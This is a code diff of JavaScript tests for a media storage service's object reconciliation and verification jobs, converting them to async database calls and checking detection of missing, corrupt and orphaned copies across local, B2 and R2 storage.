- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',
- MEDIA_PUBLIC_OBJECT_TARGET_MB: '1', MEDIA_PUBLIC_OBJECT_WARN_MB: '2', MEDIA_PUBLIC_OBJECT_MAX_MB: '3',
-};
-Object.assign(process.env, env);
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ const env = {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',
+ MEDIA_PUBLIC_OBJECT_TARGET_MB: '1', MEDIA_PUBLIC_OBJECT_WARN_MB: '2', MEDIA_PUBLIC_OBJECT_MAX_MB: '3',
+ };
+ Object.assign(process.env, env);
-const db = require('../server/db/database');
-const model = require('../server/objects/model');
-const { reconcile, summarize } = require('../server/objects/reconcile');
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const { reconcile, summarize } = require('../server/objects/reconcile');
-const MB = 1024 * 1024;
-const d = db.getDb();
-const write = (p, content) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };
-const V = d.prepare(`INSERT INTO vods (id, app_id, file_path, file_size, duration_seconds, visibility, is_public, storage_provider, storage_key)
- VALUES (?, 'live', ?, ?, 60, 'public', 1, ?, ?)`);
+ const MB = 1024 * 1024;
+ const d = db.getDb();
+ const write = (p, content) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };
+ const V = d.prepare(`INSERT INTO vods (id, app_id, file_path, file_size, duration_seconds, visibility, is_public, storage_provider, storage_key) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'live', ?, ?, 60, 'public', 1, ?, ?) RETURNING id`);
-// Rows: a healthy local vod; an offloaded one whose B2 copy is fine; one whose B2 copy is gone but
-// R2 still has it; one whose B2 copy has the wrong size; a local vod whose file vanished.
-V.run(1, write(path.join(env.VOD_PATH, 'a.webm'), Buffer.alloc(100)), 100, 'local', null);
-V.run(2, '/gone/b.webm', 200, 'b2', 'vods/b.webm');
-V.run(3, '/gone/c.webm', 300, 'r2', 'vods/c.webm');
-V.run(4, '/gone/d.webm', 400, 'b2', 'vods/d.webm');
-V.run(5, write(path.join(env.VOD_PATH, 'e.webm'), Buffer.alloc(10)), 10, 'local', null);
-const fileBytes = Buffer.from('file-bytes');
-write(path.join(env.FILES_PATH, 'live', 'k1-f.bin'), fileBytes);
-d.prepare("INSERT INTO files (key, app_id, size, mime, sha256) VALUES ('k1-f.bin', 'live', ?, 'application/octet-stream', ?)").run(fileBytes.length, crypto.createHash('sha256').update(fileBytes).digest('hex'));
+ // Rows: a healthy local vod; an offloaded one whose B2 copy is fine; one whose B2 copy is gone but
+ // R2 still has it; one whose B2 copy has the wrong size; a local vod whose file vanished.
+ await V.run(1, write(path.join(env.VOD_PATH, 'a.webm'), Buffer.alloc(100)), 100, 'local', null);
+ await V.run(2, '/gone/b.webm', 200, 'b2', 'vods/b.webm');
+ await V.run(3, '/gone/c.webm', 300, 'r2', 'vods/c.webm');
+ await V.run(4, '/gone/d.webm', 400, 'b2', 'vods/d.webm');
+ await V.run(5, write(path.join(env.VOD_PATH, 'e.webm'), Buffer.alloc(10)), 10, 'local', null);
+ const fileBytes = Buffer.from('file-bytes');
+ write(path.join(env.FILES_PATH, 'live', 'k1-f.bin'), fileBytes);
+ await d.prepare("INSERT INTO files (key, app_id, size, mime, sha256) VALUES ('k1-f.bin', 'live', ?, 'application/octet-stream', ?)").run(fileBytes.length, crypto.createHash('sha256').update(fileBytes).digest('hex'));
-// Scripts: a dry-run backfill reports and writes nothing.
-const run = (script, args = []) => {
- try { return { code: 0, out: execFileSync(process.execPath, [path.join(__dirname, '..', 'scripts', script), ...args], { env: { ...process.env, ...env }, encoding: 'utf8' }) }; }
- catch (e) { return { code: e.status, out: String(e.stdout) }; }
-};
-const dry = JSON.parse(run('backfill-objects.js', ['--dry-run', '--json']).out);
-assert.deepStrictEqual([dry.dry_run, dry.counts.vod.created, dry.counts.file.created], [true, 5, 1]);
-assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_objects').get().c, 0, 'dry-run script wrote nothing');
-const real = run('backfill-objects.js');
-assert.strictEqual(real.code, 0, real.out);
-assert.match(real.out, /vod 5\+\/0~\/0 skipped/);
-assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_objects').get().c, 6);
-console.log('✅ backfill script: --dry-run reports only; a real run projects');
+ // The backfill (server/objects/backfill.js; the service runs it at boot): a dry run reports and writes nothing.
+ const { runScript } = require('./helpers/run-script');
+ const run = async (script, args = []) => await runScript(path.join(__dirname, '..', 'scripts', script), args, { env });
+ const bf = require('../server/objects/backfill');
+ const dry = await bf.backfill({ dryRun: true });
+ assert.deepStrictEqual([dry.dry_run, dry.counts.vod.created, dry.counts.file.created], [true, 5, 1]);
+ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c, 0, 'a dry run wrote nothing');
+ const real = await bf.backfill();
+ assert.match(bf.summarize(real), /vod 5\+\/0~\/0 skipped/);
+ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c, 6);
+ console.log('✅ backfill: a dry run reports only; a real run projects');
-fs.unlinkSync(path.join(env.VOD_PATH, 'e.webm')); // vod 5 loses its file after backfill
-const objId = (vodId) => d.prepare('SELECT object_id FROM vods WHERE id = ?').get(vodId).object_id;
-// Anomalies the reconciler must notice:
-d.prepare("INSERT INTO media_locations (object_id, provider, key, state) VALUES ('med_01JAB2C3D4E5F6G7H8J9K0MNPQ', 'local', '/nowhere', 'present')").run(); // orphan location
-db.run("UPDATE media_objects SET size_bytes = 999 WHERE id = ?", [objId(1)]); // local size mismatch
-db.run("UPDATE media_objects SET content_hash = ? WHERE legacy_ref = 'legacy:live:file:k1-f.bin'", ['0'.repeat(64)]); // hash mismatch
-db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [objId(2)]); // deleted, but /v/2 still serves it
-d.prepare("INSERT INTO clips (id, app_id, file_path, status) VALUES (9, 'live', '/x.webm', 'ready')").run(); // row with no object
-const ready = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready' }); // ready object, no location
+ fs.unlinkSync(path.join(env.VOD_PATH, 'e.webm')); // vod 5 loses its file after backfill
+ const objId = async (vodId) => (await d.prepare('SELECT object_id FROM vods WHERE id = ?').get(vodId)).object_id;
+ // Anomalies the reconciler must notice:
+ await d.prepare("INSERT INTO media_locations (object_id, provider, key, state) VALUES ('med_01JAB2C3D4E5F6G7H8J9K0MNPQ', 'local', '/nowhere', 'present') RETURNING id").run(); // orphan location
+ await db.run("UPDATE media_objects SET size_bytes = 999 WHERE id = ?", [await objId(1)]); // local size mismatch
+ await db.run("UPDATE media_objects SET content_hash = ? WHERE legacy_ref = 'legacy:live:file:k1-f.bin'", ['0'.repeat(64)]); // hash mismatch
+ await db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [await objId(2)]); // deleted, but /v/2 still serves it
+ await d.prepare("INSERT INTO clips (id, app_id, file_path, status) OVERRIDING SYSTEM VALUE VALUES (9, 'live', '/x.webm', 'ready') RETURNING id").run(); // row with no object
+ const ready = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready' }); // ready object, no location
-// Fake provider: key → size (absent = 404). B2 lost c.webm (R2 still has it) and holds a wrong-size d.webm.
-const bucket = { b2: { 'vods/b.webm': 200, 'vods/d.webm': 12345 }, r2: { 'vods/c.webm': 300 } };
-const heads = [];
-const fakeHead = async (provider, key) => { heads.push(`${provider}:${key}`); const s = bucket[provider][key]; return s === undefined ? null : { size: s, etag: 'x' }; };
+ // Fake provider: key → size (absent = 404). B2 lost c.webm (R2 still has it) and holds a wrong-size d.webm.
+ const bucket = { b2: { 'vods/b.webm': 200, 'vods/d.webm': 12345 }, r2: { 'vods/c.webm': 300 } };
+ const heads = [];
+ const fakeHead = async (provider, key) => { heads.push(`${provider}:${key}`); const s = bucket[provider][key]; return s === undefined ? null : { size: s, etag: 'x' }; };
-(async () => {
- const snapshot = () => JSON.stringify(d.prepare('SELECT * FROM media_locations ORDER BY id').all());
- const before = snapshot();
- const ro = await reconcile({ head: fakeHead, hash: true });
- assert.strictEqual(snapshot(), before, 'default mode writes nothing');
- assert.strictEqual(heads.length, 0, 'default mode calls no provider');
- const count = (rep, k) => rep.issues[k].count;
- assert.strictEqual(count(ro, 'orphan_location'), 1);
- assert.strictEqual(count(ro, 'missing_local_file'), 1);
- assert.strictEqual(ro.issues.missing_local_file.items[0].legacy_ref, 'legacy:live:vod:5');
- assert.strictEqual(count(ro, 'size_mismatch'), 1, 'local size mismatch');
- assert.strictEqual(count(ro, 'hash_mismatch'), 1);
- assert.strictEqual(count(ro, 'deleted_publicly_reachable'), 1);
- assert.strictEqual(ro.issues.deleted_publicly_reachable.items[0].table, 'vods');
- assert.strictEqual(count(ro, 'missing_projection'), 1);
- assert.deepStrictEqual(ro.issues.missing_projection.items[0], { table: 'clips', id: 9 });
- assert.strictEqual(count(ro, 'no_canonical_location'), 1);
- assert.strictEqual(ro.issues.no_canonical_location.items[0].object_id, ready);
- assert.strictEqual(count(ro, 'canonical_missing_replica_present'), 0, 'remote copies are unverified until --verify');
- assert.strictEqual(ro.counts.remote_unverified, 4, 'b2 ×3 + r2 ×1 pending');
- assert.ok(summarize(ro).includes('orphan_location: 1'));
- console.log('✅ read-only pass: local checks, orphans, projections, deleted-but-served — no writes, no provider calls');
+ (async () => {
+ const snapshot = async () => JSON.stringify(await d.prepare('SELECT * FROM media_locations ORDER BY id').all());
+ const before = await snapshot();
+ const ro = await reconcile({ head: fakeHead, hash: true });
+ assert.strictEqual(await snapshot(), before, 'default mode writes nothing');
+ assert.strictEqual(heads.length, 0, 'default mode calls no provider');
+ const count = (rep, k) => rep.issues[k].count;
+ assert.strictEqual(count(ro, 'orphan_location'), 1);
+ assert.strictEqual(count(ro, 'missing_local_file'), 1);
+ assert.strictEqual(ro.issues.missing_local_file.items[0].legacy_ref, 'legacy:live:vod:5');
+ assert.strictEqual(count(ro, 'size_mismatch'), 1, 'local size mismatch');
+ assert.strictEqual(count(ro, 'hash_mismatch'), 1);
+ assert.strictEqual(count(ro, 'deleted_publicly_reachable'), 1);
+ assert.strictEqual(ro.issues.deleted_publicly_reachable.items[0].table, 'vods');
+ assert.strictEqual(count(ro, 'missing_projection'), 1);
+ assert.deepStrictEqual(ro.issues.missing_projection.items[0], { table: 'clips', id: 9 });
+ assert.strictEqual(count(ro, 'no_canonical_location'), 1);
+ assert.strictEqual(ro.issues.no_canonical_location.items[0].object_id, ready);
+ assert.strictEqual(count(ro, 'canonical_missing_replica_present'), 0, 'remote copies are unverified until --verify');
+ assert.strictEqual(ro.counts.remote_unverified, 4, 'b2 ×3 + r2 ×1 pending');
+ assert.ok(summarize(ro).includes('orphan_location: 1'));
+ console.log('✅ read-only pass: local checks, orphans, projections, deleted-but-served — no writes, no provider calls');
- const v = await reconcile({ verify: true, head: fakeHead });
- assert.strictEqual(heads.length, 4, 'every remote location HEADed once');
- assert.strictEqual(count(v, 'remote_missing'), 1, 'vod 3 canonical B2 copy is gone');
- assert.strictEqual(v.issues.remote_missing.items[0].key, 'vods/c.webm');
- assert.strictEqual(count(v, 'canonical_missing_replica_present'), 1);
- assert.deepStrictEqual(v.issues.canonical_missing_replica_present.items[0].present, ['r2'], 'the R2 cache still has it');
- assert.strictEqual(count(v, 'size_mismatch'), 2, 'local vod 1 + remote vod 4');
- assert.strictEqual(count(v, 'no_present_copy'), 2, 'vod 4 (only copy corrupt) and vod 5 (only copy missing)');
- const st = (vodId, p) => d.prepare('SELECT state, verified_at, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(objId(vodId), p);
- assert.strictEqual(st(3, 'b2').state, 'missing');
- assert.strictEqual(st(3, 'r2').state, 'present');
- assert.strictEqual(st(4, 'b2').state, 'corrupt');
- assert.strictEqual(st(4, 'b2').size_bytes, 12345);
- assert.strictEqual(st(5, 'local').state, 'missing');
- assert.ok(st(3, 'r2').verified_at, '--verify records verified_at');
- assert.ok(v.counts.locations_updated >= 6);
- console.log('✅ --verify: HEADs remotes (fake provider), records states; detects lost canonical with a surviving replica');
+ const v = await reconcile({ verify: true, head: fakeHead });
+ assert.strictEqual(heads.length, 4, 'every remote location HEADed once');
+ assert.strictEqual(count(v, 'remote_missing'), 1, 'vod 3 canonical B2 copy is gone');
+ assert.strictEqual(v.issues.remote_missing.items[0].key, 'vods/c.webm');
+ assert.strictEqual(count(v, 'canonical_missing_replica_present'), 1);
+ assert.deepStrictEqual(v.issues.canonical_missing_replica_present.items[0].present, ['r2'], 'the R2 cache still has it');
+ assert.strictEqual(count(v, 'size_mismatch'), 2, 'local vod 1 + remote vod 4');
+ assert.strictEqual(count(v, 'no_present_copy'), 2, 'vod 4 (only copy corrupt) and vod 5 (only copy missing)');
+ const st = async (vodId, p) => await d.prepare('SELECT state, verified_at, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(await objId(vodId), p);
+ assert.strictEqual((await st(3, 'b2')).state, 'missing');
+ assert.strictEqual((await st(3, 'r2')).state, 'present');
+ assert.strictEqual((await st(4, 'b2')).state, 'corrupt');
+ assert.strictEqual((await st(4, 'b2')).size_bytes, 12345);
+ assert.strictEqual((await st(5, 'local')).state, 'missing');
+ assert.ok((await st(3, 'r2')).verified_at, '--verify records verified_at');
+ assert.ok(v.counts.locations_updated >= 6);
+ console.log('✅ --verify: HEADs remotes (fake provider), records states; detects lost canonical with a surviving replica');
- // An unconfigured provider is "unverifiable", never "missing".
- const u = await reconcile({ verify: true, head: async () => undefined });
- assert.strictEqual(u.counts.remote_unverifiable, 4);
- assert.strictEqual(count(u, 'remote_missing'), 0);
+ // An unconfigured provider is "unverifiable", never "missing".
+ const u = await reconcile({ verify: true, head: async () => undefined });
+ assert.strictEqual(u.counts.remote_unverifiable, 4);
+ assert.strictEqual(count(u, 'remote_missing'), 0);
- // The scripts against the same database.
- const rc = run('reconcile-objects.js', ['--json']);
- assert.strictEqual(rc.code, 1, 'issues → exit 1');
- assert.ok(JSON.parse(rc.out).issues.orphan_location.count === 1);
- // A deleted object's thumbnail that is still served is reachable too.
- write(path.join(env.THUMBNAILS_PATH, 'vod-1-5.jpg'), 'jpg');
- db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-5.jpg' WHERE id = 1");
- model.sync('vod', 1);
- db.run('DELETE FROM vods WHERE id = 1');
- const t = await reconcile({});
- assert.ok(t.issues.deleted_publicly_reachable.items.some(i => i.reason.startsWith('derivative')), 'thumbnail of a deleted vod is flagged');
+ // The scripts against the same database.
+ const rc = await run('reconcile-objects.js', ['--json']);
+ assert.strictEqual(rc.code, 1, 'issues → exit 1');
+ assert.ok(JSON.parse(rc.out).issues.orphan_location.count === 1);
+ // A deleted object's thumbnail that is still served is reachable too.
+ write(path.join(env.THUMBNAILS_PATH, 'vod-1-5.jpg'), 'jpg');
+ await db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-5.jpg' WHERE id = 1");
+ await model.sync('vod', 1);
+ await db.run('DELETE FROM vods WHERE id = 1');
+ const t = await reconcile({});
+ assert.ok(t.issues.deleted_publicly_reachable.items.some(i => i.reason.startsWith('derivative')), 'thumbnail of a deleted vod is flagged');
- db.run('UPDATE vods SET file_size = ? WHERE id = 3', [5 * MB]);
- model.sync('vod', 3);
- const inv = run('object-invariant.js', ['--json']);
- const invReport = JSON.parse(inv.out);
- assert.strictEqual(invReport.counts.violation, 1);
- assert.strictEqual(invReport.objects[0].legacy_ref, 'legacy:live:vod:3');
- assert.strictEqual(d.prepare("SELECT level FROM media_invariant_violations WHERE object_id = ? AND resolved_at IS NULL").get(objId(3)).level, 'violation');
- assert.match(run('object-invariant.js', ['--dry-run']).out, /violation 1/);
- console.log('✅ scripts: reconcile exit codes + JSON, invariant report records violations');
+ await db.run('UPDATE vods SET file_size = ? WHERE id = 3', [5 * MB]);
+ await model.sync('vod', 3);
+ const inv = await run('object-invariant.js', ['--json']);
+ const invReport = JSON.parse(inv.out);
+ assert.strictEqual(invReport.counts.violation, 1);
+ assert.strictEqual(invReport.objects[0].legacy_ref, 'legacy:live:vod:3');
+ assert.strictEqual((await d.prepare("SELECT level FROM media_invariant_violations WHERE object_id = ? AND resolved_at IS NULL").get(await objId(3))).level, 'violation');
+ assert.match((await run('object-invariant.js', ['--dry-run'])).out, /violation 1/);
+ console.log('✅ scripts: reconcile exit codes + JSON, invariant report records violations');
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('objects reconciliation: all checks passed');
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('objects reconciliation: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,217 +10,219 @@ const os = require('os');
@@ -10,217 +10,219 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const { execFileSync } = require('child_process');
-
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-verify-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const env = {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9',
-};
-for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_VERIFY_ENABLED', 'MEDIA_VERIFY_REPAIR_CORRUPT']) process.env[k] = '';
-Object.assign(process.env, env);
-
-const db = require('../server/db/database');
-const config = require('../server/config');
-const model = require('../server/objects/model');
-const job = require('../server/objects/verify-job');
-const copyReport = require('../server/objects/copy-report');
-
-const d = db.getDb();
-const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');
-const put = (name, content) => { const p = path.join(env.OBJECTS_PATH, 'live', name); fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };
-function obj(name, { size, hash = null, status = 'ready', locs = [], owner = 7 }) {
- const id = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: status, size_bytes: size, content_hash: hash,
- owner_user_id: owner, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', mime_type: 'application/octet-stream', metadata: { filename: name } });
- for (const l of locs) model.upsertLocation(id, l);
- return id;
-}
-
-// Fake provider: bucket[provider][key] = size (absent → 404). r2 is "not configured" (HEAD undefined).
-const bucket = { b2: {} };
-const heads = [], uploads = [];
-const head = async (provider, key) => { heads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const s = bucket[provider][key]; return s === undefined ? null : { size: s }; };
-const upload = async (provider, key, file) => { uploads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const size = fs.statSync(file).size; bucket[provider][key] = size; return { size }; };
-
-const A = Buffer.from('aaaaaaaaaa'), B = Buffer.from('bbbbbbbbbbbb'), E = Buffer.from('eeee'), G = Buffer.from('gggggg');
-const ids = {
- good: obj('a', { size: A.length, hash: sha(A), locs: [{ provider: 'local', key: put('a', A), state: 'present' }] }),
- restore: obj('b', { size: B.length, locs: [{ provider: 'local', key: put('b', B), state: 'present' }, { provider: 'b2', key: 'objs/b', state: 'pending' }] }),
- remoteCorrupt: obj('c', { size: 300, locs: [{ provider: 'b2', key: 'objs/c', state: 'pending' }] }),
- localGone: obj('d', { size: 40, locs: [{ provider: 'local', key: path.join(env.OBJECTS_PATH, 'live', 'd-gone'), state: 'present' }] }),
- localBadHash: obj('e', { size: E.length, hash: '0'.repeat(64), locs: [{ provider: 'local', key: put('e', E), state: 'present' }, { provider: 'b2', key: 'objs/e', state: 'pending' }] }),
- unverifiable: obj('f', { size: 50, locs: [{ provider: 'r2', key: 'objs/f', state: 'pending' }] }),
- corruptNoRepair: obj('g', { size: G.length, locs: [{ provider: 'local', key: put('g', G), state: 'present' }, { provider: 'b2', key: 'objs/g', state: 'pending' }] }),
- noLocations: obj('h', { size: 10 }),
-};
-bucket.b2['objs/c'] = 12345; // wrong size → corrupt
-bucket.b2['objs/e'] = E.length; // the remote copy of e is fine
-bucket.b2['objs/g'] = 999; // corrupt, and MEDIA_VERIFY_REPAIR_CORRUPT is off
-obj('deleted', { size: 1, status: 'deleted', locs: [{ provider: 'local', key: '/nowhere', state: 'missing' }] });
-obj('uploading', { size: 1, status: 'uploading' });
-// Legacy row that points at the object whose local file is gone (the report must show it).
-d.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, visibility, is_public, storage_provider, object_id) VALUES (41, 'live', 7, 'Lost stream', ?, 40, 'public', 1, 'local', ?)")
- .run(path.join(env.OBJECTS_PATH, 'live', 'd-gone'), ids.localGone);
-const READY = Object.keys(ids).length;
-
-const loc = (id, p) => d.prepare('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?').get(id, p);
-const ver = (id) => d.prepare('SELECT * FROM media_verifications WHERE object_id = ?').get(id);
-const snapshot = () => ({
- objects: d.prepare('SELECT COUNT(*) c FROM media_objects').get().c,
- locations: d.prepare('SELECT COUNT(*) c FROM media_locations').get().c,
- vods: d.prepare('SELECT COUNT(*) c FROM vods').get().c,
- files: fs.readdirSync(path.join(env.OBJECTS_PATH, 'live')).sort().join(','),
-});
-
-function request(base, p) {
- return new Promise((resolve, reject) => {
- http.get(base + p, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); }).on('error', reject);
- });
-}
(async () => {
(async () => {
- const before = snapshot();
- // Nothing may unlink or remove anything while the job runs.
- const deletes = [];
- const orig = { unlinkSync: fs.unlinkSync, unlink: fs.unlink, rmSync: fs.rmSync, rm: fs.rm };
- fs.unlinkSync = (...a) => { deletes.push(a[0]); return orig.unlinkSync(...a); };
- fs.unlink = (...a) => { deletes.push(a[0]); return orig.unlink(...a); };
- fs.rmSync = (...a) => { deletes.push(a[0]); return orig.rmSync(...a); };
- fs.rm = (...a) => { deletes.push(a[0]); return orig.rm(...a); };
-
- // ── Bounded batches, rotating: never-verified first, then least recently verified ──
- const r1 = await job.runOnce({ batch: 3, head, upload });
- assert.strictEqual(r1.objects_checked, 3, 'a run never checks more than the batch');
- assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_verifications').get().c, 3);
- const firstBatch = r1.objects.map(o => o.object_id);
- const r2 = await job.runOnce({ batch: 3, head, upload });
- assert.ok(r2.objects.every(o => !firstBatch.includes(o.object_id)), 'the next run takes objects not verified yet');
- const r3 = await job.runOnce({ batch: 3, head, upload });
- assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_verifications').get().c, READY, `${READY} ready objects covered in ceil(${READY}/3) runs`);
- assert.ok(r3.objects.slice(READY - 6).every(o => firstBatch.includes(o.object_id)), 'once all are verified, the oldest verified come round again');
- assert.ok(!d.prepare("SELECT 1 FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE o.lifecycle_status != 'ready'").get(), 'only ready objects are verified');
- console.log('✅ bounded batches rotate through every ready object (never-verified first, then oldest)');
-
- // ── Verdicts recorded ──
- assert.strictEqual(ver(ids.good).status, 'good');
- assert.strictEqual(loc(ids.good, 'local').state, 'present');
- assert.ok(loc(ids.good, 'local').verified_at);
- assert.strictEqual(loc(ids.remoteCorrupt, 'b2').state, 'corrupt');
- assert.strictEqual(loc(ids.remoteCorrupt, 'b2').size_bytes, 12345);
- assert.strictEqual(ver(ids.remoteCorrupt).status, 'no_good_copy');
- assert.strictEqual(loc(ids.localGone, 'local').state, 'missing');
- assert.strictEqual(ver(ids.localGone).status, 'no_good_copy');
- assert.strictEqual(loc(ids.localBadHash, 'local').state, 'corrupt', 'a local copy whose sha256 differs is corrupt');
- assert.strictEqual(loc(ids.localBadHash, 'b2').state, 'present');
- assert.strictEqual(ver(ids.localBadHash).good_providers, 'b2');
- assert.strictEqual(ver(ids.unverifiable).status, 'unverifiable', 'an unconfigured provider is unverifiable, never missing');
- assert.strictEqual(loc(ids.unverifiable, 'r2').state, 'pending');
- assert.strictEqual(ver(ids.noLocations).status, 'no_good_copy');
- const runs = d.prepare('SELECT * FROM media_verify_runs ORDER BY id').all();
- assert.strictEqual(runs.length, 3);
- assert.ok(runs.every(r => r.finished_at && r.objects_checked >= 1 && r.no_good_copy_total != null));
- assert.strictEqual(runs.reduce((n, r) => n + r.objects_checked, 0), 9);
- console.log('✅ verdicts recorded on media_locations, media_verifications and media_verify_runs');
-
- // ── Re-upload of a missing remote copy from the good local copy ──
- assert.ok(uploads.includes('b2:objs/b'), 'missing b2 copy re-uploaded');
- assert.strictEqual(bucket.b2['objs/b'], B.length);
- assert.strictEqual(loc(ids.restore, 'b2').state, 'present');
- // The run that first checked it did the re-upload. (media_verifications keeps only the latest verdict,
- // and a later run may re-verify it once batches rotate, with no re-upload left to do.)
- const firstRestore = [r1, r2, r3].flatMap(r => r.objects).find(o => o.object_id === ids.restore);
- assert.strictEqual(firstRestore.reuploads, 1, 'the run that first checked it re-uploaded the missing copy');
- assert.ok(!uploads.includes('b2:objs/g'), 'a corrupt remote copy is not overwritten unless MEDIA_VERIFY_REPAIR_CORRUPT=1');
- assert.strictEqual(loc(ids.corruptNoRepair, 'b2').state, 'corrupt');
- assert.ok(!uploads.includes('b2:objs/e'), 'never re-uploads from a local copy that failed its hash');
- assert.strictEqual(runs.reduce((n, r) => n + r.reuploaded, 0), 1);
- // The per-run budget: with none left the restore is deferred, not attempted.
- delete bucket.b2['objs/b'];
- const deferred = await job.verifyObject(model.getObject(ids.restore), { head, upload, hashMaxBytes: 1e9, repairCorrupt: false, budget: { left: 0 } });
- assert.match(deferred.reuploads[0].error, /^deferred/);
- assert.strictEqual(loc(ids.restore, 'b2').state, 'missing');
- // Opt-in corrupt repair.
- const repaired = await job.verifyObject(model.getObject(ids.corruptNoRepair), { head, upload, hashMaxBytes: 1e9, repairCorrupt: true, budget: { left: 1 } });
- assert.strictEqual(repaired.reuploads[0].ok, true);
- assert.strictEqual(bucket.b2['objs/g'], G.length);
- bucket.b2['objs/b'] = B.length;
- console.log('✅ missing remote copy restored from a verified-good local copy (budgeted; corrupt only when opted in)');
-
- // ── Never deletes ──
- fs.unlinkSync = orig.unlinkSync; fs.unlink = orig.unlink; fs.rmSync = orig.rmSync; fs.rm = orig.rm;
- assert.deepStrictEqual(deletes, [], 'no unlink/rm during verification');
- assert.deepStrictEqual(snapshot(), before, 'every object, location, legacy row and file is still there');
- assert.ok(model.getObject(ids.remoteCorrupt) && model.getObject(ids.localGone), 'objects with no good copy are kept');
- assert.strictEqual(model.getObject(ids.localGone).lifecycle_status, 'ready', 'and their lifecycle is untouched');
- console.log('✅ never deletes: files, objects, locations and legacy rows all remain');
-
- // ── Count, /metrics and /api/ready ──
- assert.strictEqual(copyReport.countNoGoodCopy(db), 3, 'c (remote corrupt), d (local gone), h (no locations)');
- const st = job.status();
- assert.strictEqual(st.no_good_copy, 3);
- assert.strictEqual(st.verified_objects, READY);
- assert.ok(st.last_run.finished_at);
-
- const express = require('express');
- const observability = require('../server/observability');
- const app = express();
- const inst = observability.instrument(app, { release: 'test' });
- observability.mountReady(app, inst.registry, {
- release: 'test', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 },
- events: { status: () => ({ enabled: false }) }, remote: { configured: () => false, probe: async () => true },
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-verify-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ const env = {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
+ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9',
+ };
+ for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_VERIFY_ENABLED', 'MEDIA_VERIFY_REPAIR_CORRUPT']) process.env[k] = '';
+ Object.assign(process.env, env);
+
+ const db = require('../server/db/database');
+ const config = require('../server/config');
+ const model = require('../server/objects/model');
+ const job = require('../server/objects/verify-job');
+ const copyReport = require('../server/objects/copy-report');
+
+ const d = db.getDb();
+ const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');
+ const put = (name, content) => { const p = path.join(env.OBJECTS_PATH, 'live', name); fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };
